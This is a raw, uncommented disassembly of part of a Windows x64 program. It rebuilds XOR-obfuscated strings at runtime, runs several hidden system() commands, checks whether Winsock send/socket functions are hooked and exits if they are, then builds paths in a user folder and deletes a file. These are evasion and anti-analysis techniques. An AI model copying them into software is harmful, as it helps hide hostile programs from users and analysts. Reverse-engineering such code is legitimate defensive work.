mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2708], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2710], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2718], rax
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x26e0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2700]
vmovdqa ymmword [rbp + 0x6c0], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1490]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x6a0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140067cb0
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x1490]
call fcn.14000ce60
nop
movabs r12, 0xabbc5cf15c5f3513
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs r13, 0x697df8532c18f528
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0x38bd08f4cae3ea97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xbc73357d3cf75b24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2480], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2488], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2490], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2498], rax
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x2480]
vmovdqa ymmword [rbp + 0x400], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x14b0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x400]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140067db0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x14b0]
call fcn.14000ce60
nop
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x6ff843e3ddbdea97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0xbc73357d7ad87b07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2660], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2668], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2670], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2678], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2660]
vmovdqa ymmword [rbp + 0x3e0], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x14d0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x3e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140067e94
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x14d0]
call fcn.14000ce60
nop
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
movabs rax, 0x3c2fe9532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs r13, 0x37f815e981aabcc5
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0xbc73357d3cf71d4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2680], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2688], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2690], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2698], rax
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x2680]
vmovdqa ymmword [rbp + 0x340], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x14f0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x340]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140067f82
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x14f0]
call fcn.14000ce60
nop
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x3a2ae9532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xbc73357d3cf71d4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x24a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x24a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x24b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x24b8], rax
vmovdqu ymm0, ymmword [rbp + 0x380]
vpxor ymm1, ymm0, ymmword [rbp + 0x24a0]
vmovdqa ymmword [rbp + 0x380], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1530]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x380]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140068066
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1530]
call fcn.14000ce60
nop
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x3e21e9532c18f528
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xbc73357d3cf71d4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x25c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x25c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x25d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x25d8], rax
vmovdqu ymm0, ymmword [rbp + 0x3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25c0]
vmovdqa ymmword [rbp + 0x3c0], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1510]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x3c0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140068150
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1510]
call fcn.14000ce60
nop
lea rcx, [rbp + 0x1870]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, eax
lea rcx, [rbp + 0x17f0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, eax
lea rcx, [rbp + 0x1790]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rbp + 0x1770]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14d, eax
lea rcx, [rbp + 0x1750]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r12d, eax
lea rcx, [rbp + 0x1730]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13d, eax
lea rcx, [rbp + 0x1710]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x18], eax
lea rcx, [rbp + 0x16f0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp], eax
lea rcx, [rbp + 0x16d0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test ebx, ebx
je 0x14006ce94
test edi, edi
je 0x14006ce94
test esi, esi
je 0x14006ce94
test r14d, r14d
je 0x14006ce94
test r12d, r12d
je 0x14006ce94
test r13d, r13d
je 0x14006ce94
cmp dword [rbp + 0x18], 0
je 0x14006ce94
cmp dword [rbp], 0
je 0x14006ce94
test eax, eax
je 0x14006ce94
mov edx, 5
mov r14, qword [rbp + 8]
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14000c8b0
movabs rax, 0xf3a40dad0555630f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0x6c21a6075663e23e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x78f905e5cebeb1c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0xc5160c450bc56a1b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rax, 0x5a603a6bbba87802
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0xbc95e99108663173
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0x4cd065074286df47
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0x9b8ab613ba257d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs r13, 0xc7d0359a372c5467
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2720], rax
movabs r12, 0x81991736151da08
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2728], rax
movabs rbx, 0x179d6d8cafcddea1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2730], rax
movabs rdi, 0xbc73357d3cf75b62
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2738], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2740], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2748], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2750], rax
movabs rax, 0x9b8ab614f9a60e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2758], rax
vmovdqu ymm0, ymmword [rbp + 0x660]
vpxor ymm1, ymm0, ymmword [rbp + 0x2720]
vmovdqa ymmword [rbp + 0x660], ymm1
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x2740]
vmovdqa ymmword [rbp + 0x680], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x13b0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x660]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140068490
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x13b0]
call fcn.14000ce60
nop
lea rcx, [rbp + 0x13b0]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.color_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000c8b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa2be5bf5740c5e6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x676db1140f38ae6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x65f81eaccaa5aa81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xbc73355312853e14
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x25e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x25e8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x25f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x25f8], rax
vmovdqu ymm0, ymmword [rbp + 0x4e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25e0]
vmovdqa ymmword [rbp + 0x4e0], ymm1
lea rdx, [rbp + 0x4e0]
vzeroupper
call fcn.140072a90
lea rcx, [0x1401229b0]
call fcn.14008e030
cmp byte [0x140122bc0], 0
jne 0x140068666
lea rcx, [0x140108f40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ec0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ec8], rax
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0x1ec0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x120]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14000c8b0
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.osnfosabhifnsabfhis
lea rcx, [0x1401228c8]
call fcn.140071d00
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.hbsdigsaiuydfgtyaudfr62
lea rcx, [0x140122928]
call fcn.140071d00
lea rdx, str.4567389y789frhy793gt
lea rcx, [0x1401228c8]
call fcn.140072750
test al, al
je 0x140068762
lea rcx, [0x140108f40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1eb0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1eb8], rax
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0x1eb0]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x130]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.e892yr978yw9hdfu9sagf8
lea rcx, [0x140122928]
call fcn.140072750
test al, al
je 0x140068827
lea rcx, [0x140108f40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x140], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x148], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ea0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1ea8], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x1ea0]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [0x1401228b0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400ebf80]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x14006ccf7
xor r8d, r8d
lea rdx, [0x1401228b0]
lea rcx, [rbp + 0x15b0]
call fcn.140078680
nop
xor r8d, r8d
lea rdx, [0x1401228b0]
lea rcx, [rbp + 0x1390]
call fcn.140078680
nop
movabs rax, 0xc7fe35e33749540c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x877911c6122da62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2600], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2608], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2610], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2618], rax
vmovdqu ymm0, ymmword [rbp + 0x3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2600]
vmovdqu ymmword [rbp + 0x3a0], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x16b0]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x3a0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140068940
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x16b0]
call fcn.140073860
nop
movabs rax, 0xc7a335fc374a5408
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x83791006125da6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0x179d6dfcafbddec9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2620], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2628], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2630], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2638], rax
vmovdqu ymm0, ymmword [rbp + 0x360]
vpxor ymm1, ymm0, ymmword [rbp + 0x2620]
vmovdqu ymmword [rbp + 0x360], ymm1
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1690]
vzeroupper
call fcn.14000ce40
nop
lea rax, [rbp + 0x360]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140068a30
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x1690]
call fcn.140073860
nop
mov rbx, qword [0x1401228b0]
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x1850]
call fcn.14000ce40
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rbx + r8*2], 0
jne 0x140068a70
mov rdx, rbx
lea rcx, [rbp + 0x1850]
call fcn.140073860
nop
xor r8d, r8d
lea rdx, [rbp + 0x16b0]
lea rcx, [rbp + 0x1010]
call fcn.140078250
nop
mov rdx, rax
lea rcx, [rbp + 0x15b0]
call fcn.140063810
nop
lea rcx, [rbp + 0x1010]
call fcn.140063b00
xor r8d, r8d
lea rdx, [rbp + 0x1690]
lea rcx, [rbp + 0x1210]
call fcn.140078250
nop
mov rdx, rax
lea rcx, [rbp + 0x1390]
call fcn.140063810
nop
lea rcx, [rbp + 0x1210]
call fcn.140063b00
lea rdx, [rbp + 0x1390]
lea rcx, [rbp + 0x19d0]
call fcn.14006f590
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x15b0]
call fcn.140072580
nop
lea rcx, [rbp + 0x1310]
call fcn.14000c840
mov rsi, rax
lea rcx, [rbp + 0x15b0]
call fcn.140064300
test al, al
je 0x140069359
lea rax, [rbp + 0xc20]
mov qword [rbp + 0x18], rax
movabs rbx, 0xa2bd54f445492712
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e90], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e98], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x1e90]
movdqa xmmword [rbp + 0x80], xmm0
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0xc20]
call fcn.14000ce40
nop
lea rax, [rbp + 0x80]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140068bd0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xc20]
call fcn.14000ce60
nop
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x1190]
call fcn.14000c9c0
nop
lea rdx, [rbp + 0xc20]
mov rcx, rax
call fcn.140065950
movabs rdi, 0xc7d0359a375f3804
test al, al
jne 0x140068f2e
lea rax, [rbp + 0x1230]
mov qword [rbp + 0x18], rax
movabs rax, 0xc7b546f4524f3d0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e88], rax
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rbp + 0x1e80]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1230]
call fcn.14000c980
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0x1170]
call fcn.14000c9c0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x18b0]
call fcn.1400653a0
nop
lea rdx, [rbp + 0x18b0]
lea rcx, [rbp + 0x1150]
call fcn.14000c9c0
mov rdx, rax
lea rcx, [0x1401229b0]
call fcn.14008f870
cmp byte [0x140122bc0], 0
jne 0x140068d9d
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb4a541fb437f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x160], rax
movabs rax, 0x81991736151fa32
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x168], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2110], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2118], rax
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rbp + 0x2110]
movdqa xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
call fcn.140072a90
mov rcx, rax
lea rdx, [0x140122bc8]
call fcn.140072c60
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x140108f40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa2b356ef640c5e6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0x2860fd1f1437a97b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
movabs rax, 0x7ee90ce1c0b9abe0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa10], rax
movabs rax, 0xd33f1504509b3a01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
movabs rax, 0x3166153ebea52e5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa20], rax
movabs rbx, 0xc9fc8df76013421c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2120], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2128], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2130], rax
movabs rax, 0xbc73357d3cf75b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2138], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2148], rax
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm1, ymm0, ymmword [rbp + 0x2120]
vmovdqa ymmword [rbp + 0xa00], ymm1
vmovdqa xmm0, xmmword [rbp + 0xa20]
vxorps xmm0, xmm0, xmmword [rbp + 0x2140]
vmovdqa xmmword [rbp + 0xa20], xmm0
lea rdx, [rbp + 0xa00]
vzeroupper
call fcn.140072a90
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x18b0]
jmp 0x140069cef
lea rax, [rbp + 0xff0]
mov qword [rbp + 0x18], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2100], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2108], rax
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x2100]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xff0]
call fcn.14000c980
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0xfd0]
call fcn.14000c9c0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x18f0]
call fcn.1400653a0
nop
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x18], rax
movabs rax, 0xa3a25aed445f3517
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20f8], rax
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x20f0]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xfb0]
call fcn.14000c980
mov rbx, rax
lea rdx, [rbp + 0x1310]
lea rcx, [rbp + 0xf90]
call fcn.14000c9c0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x18d0]
call fcn.1400653a0
nop
lea rax, [rbp + 0xf70]
mov qword [rbp], rax
